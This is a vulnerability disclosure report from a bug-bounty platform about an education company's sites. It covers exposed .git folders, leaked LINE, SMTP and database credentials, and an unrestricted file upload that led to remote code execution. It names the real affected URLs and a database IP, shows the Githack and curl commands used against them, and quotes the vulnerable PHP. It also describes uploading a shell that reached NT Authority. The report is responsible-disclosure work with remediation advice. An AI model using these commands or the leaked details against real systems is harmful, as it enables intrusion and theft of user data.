Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2024-01616
- Vendor: 京尼教育集團及其組織
- Title: 京尼教育集團,高雄市文山文理補習班,京尼教育科技 .git leak、DB / LINE Token / SMTP leak,任意檔案上傳
- Introduction: .git leak 導致 Source Code、DB/Token leak、RCE
處理狀態
目前狀態
公開
Last Update : 2025/03/15
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2024/12/30 15:33:25 : 新提交 (由 鄉民 更新此狀態)
- 2025/01/03 16:53:13 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/01/17 11:42:11 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/01/17 11:42:11 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/01/17 11:42:11 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/03/15 03:00:55 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2024-01616
- 通報者:鄉民
- 風險:嚴重
- 類型:不安全的直接存取物件 (Insecure Direct Object References, IDOR)
參考資料
攻擊者可經由該漏洞取得系統中的其他使用者的資料或是系統檔案。
OWASP Top 10 - 2013 A4 - Insecure Direct Object References
https://www.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References
Insecure Direct Object Reference Prevention Cheat Sheet
https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.md
OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control
OWASP Top 10 - 2013 A4 - Insecure Direct Object References
https://www.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References
Insecure Direct Object Reference Prevention Cheat Sheet
https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.md
OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
https://ws.gini-edu.com/.git/config
http://ieee.gini-edu.com/.git/config
https://gini-edu.com/.git/config
https://mod.giscoo.com/.git/config
https://jobhub.giscoo.com/.git/config
https://school.giscoo.com/.git/config
https://preview.giscoo.com/.git/config
https://master.giscoo.com/.git/config
https://ginipad.com/.git/config
http://www.gini-edu.com/.git/config
http://www.gini-edu.com.tw/.git/config
http://giscoo.com/.git/config
https://gini-edu.com.tw/.git/config
http://ieee.gini-edu.com/.git/config
https://gini-edu.com/.git/config
https://mod.giscoo.com/.git/config
https://jobhub.giscoo.com/.git/config
https://school.giscoo.com/.git/config
https://preview.giscoo.com/.git/config
https://master.giscoo.com/.git/config
https://ginipad.com/.git/config
http://www.gini-edu.com/.git/config
http://www.gini-edu.com.tw/.git/config
http://giscoo.com/.git/config
https://gini-edu.com.tw/.git/config
敘述
gitleak
利用 DotGit 插件,發現上述域名有 git Leak
使用Githack.py成功下載部分原始碼
python3 Githack.py http://giscoo.com/.git
LINE Bot Token leak
站點:jobhub.giscoo.com
<?php
class LineBotHandler {
// 定義您的 LINE 存取令牌和通道密鑰
//private $LINE_ACCESS_TOKEN = '1+nWP/<REDACTED FOR PRIVACY>ilFU=';
//private $LINE_BOT_CHANNEL_SECRET = 'dc3<REDACTED FOR PRIVACY>460';
private $LINE_ACCESS_TOKEN = 'no8<REDACTED FOR PRIVACY>yilFU=';
private $LINE_BOT_CHANNEL_SECRET = '1a<REDACTED FOR PRIVACY>b0bb';
LINE Pay API Key Leak
站點:https://gini-edu.com.tw/successPay.php
$header = array(
'Content-Type: application/json; charset=UTF-8'
, 'X-LINE-ChannelId: <REDACTED FOR PRIVACY>'
, 'X-LINE-ChannelSecret: 8853<REDACTED FOR PRIVACY>823c0'
);
$postData = array(
'productName' => $name
, 'productImageUrl' => "https://ginipad.com.cn/GiniPlayer/upload/logo/466473650870501e3600d9a1b4ee5d44.jpg"
, 'amount' =>$total_fee
, 'currency' => "TWD"
, 'confirmUrl' => "https://master.gesabc.com/successPay.php"
, 'orderId' =>$out_trade_no
, 'confirmUrlType' =>"SERVER"
);
DB leak
站點:giscoo.com
<?php
$hostname = "34.80.115.228"; # MySQL/MariaDB 伺服器
$username = "root"; # 使用者帳號
$password = "<redacted>"; # 使用者密碼
$dbname = "edu1"; # 資料庫名稱
$conn = new mysqli($hostname, $username, $password, $dbname);
$link = mysqli_connect( $hostname , $username, $password , $dbname);
?>
SMTP leak
$Conf_gzip = 1;
$Conf_error_reporting = '-1';
$Conf_list_limit = '20';
$Conf_mailer = 'smtp';
$Conf_smtpSecure = '';
$Conf_smtpauth = true;
$Conf_smtpuser = '[email protected]';
$Conf_smtppass = '<redacted>';
$Conf_smtphost = 'smtp.qiye.163.com';
$Conf_smtpport = '25';
$Conf_mailfrom = '[email protected]';
$Conf_fromname = 'gini-edu';
$Conf_trouble_mailArr = array('@yahoo.com', '@hotmail.com');
giscoo.com
managercn/configuration.php
File upload
站點:https://mod.giscoo.com/upload.php
upload.php
<?php
$uploadDir = 'D:/www/mod/storage/app/public/voice/'; // 请根据实际情况修改为你希望保存文件的目录路径
if ($_FILES['file']['error'] === UPLOAD_ERR_OK) {
$mp3Name = $_POST['mp3Name'];
$uploadPath = $uploadDir . $mp3Name;
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadPath)) {
echo $uploadPath;
} else {
echo '上傳失敗。';
}
} else {
echo '上傳失敗。';
}
?>
write a demo phpinfo.php
<?php
phpinfo();
?>
Upload it
curl -X POST -F "[email protected]" -F "mp3Name=phpinfo.php" http://mod.giscoo.com/upload.php
成功顯示phpinfo 頁面
測試上傳shell(同指令)
成功取得NT/Authority 權限
已刪除測試用檔案 D:/www/mod/storage/app/public/voice/phpinfo.php
、test.php
請協助驗證我們已刪除 mod.giscoo.com
中測試用檔案。
我們已刪除從伺服器下載的所有原始碼、資料庫等測試用檔案。
感謝貴公司撥冗閱讀本報告。本報告旨在協助貴單位提升系統安全性,並確保使用者資料的安全防護。我誠摯希望這些資訊能協助貴公司及時修復相關漏洞,降低潛在風險。
同時,也感謝貴公司對教育領域的貢獻與支持。
修補建議
1. 移除 .git 資料夾,或設定網頁伺服器屏蔽 .git
2. 將所有 Token Revoke.
3. 任何檔案上傳之前,驗證檔案內容
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。